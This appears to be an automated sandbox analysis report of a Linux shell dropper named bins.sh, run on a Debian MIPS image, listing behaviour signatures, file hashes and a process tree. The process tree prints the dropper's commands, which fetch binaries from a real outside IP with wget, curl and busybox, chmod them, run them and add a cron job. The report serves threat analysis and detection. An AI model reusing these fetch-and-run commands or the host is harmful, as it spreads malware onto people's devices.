Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    08/11/2024, 06:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241108-halx3sxeqc
  • SHA256 4a86e420582fbea156feb90f7f4fe4d898db26bcdb8d2cc818f044e2a272ce48
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2182) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:700
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://87.120.84.230/bins/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod 777 G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          ./G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:732
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:734
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:735
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:736
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  • Reads runtime system information
                  PID:737
            • /bin/rm
              rm G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
              2⤵
                PID:739
              • /usr/bin/wget
                wget http://87.120.84.230/bins/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
                2⤵
                  PID:742
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
                  2⤵
                    PID:743
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
                    2⤵
                    • Writes file to tmp directory
                    PID:824
                  • /bin/chmod
                    chmod 777 4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
                    2⤵
                    • File and Directory Permissions Modification
                    PID:829
                  • /tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
                    ./4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
                    2⤵
                    • Executes dropped EXE
                    PID:830
                  • /bin/rm
                    rm 4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
                    2⤵
                      PID:832
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
                      2⤵
                        PID:833

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne

                          • Path /tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
                          • Size 117KB
                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                          • MD5 SHA1 SHA512 SSDEEP

                          G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r

                          • Path /tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
                          • Size 151KB
                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                          • MD5 SHA1 SHA512 SSDEEP

                          tmp.iKS3aa

                          • Path /var/spool/cron/crontabs/tmp.iKS3aa
                          • Size 210B
                          • SHA256 0b77adaa21cf253415a9d0f66a769bca9a75451c9b50b85747c53d2248a0a078
                          • MD5 SHA1 SHA512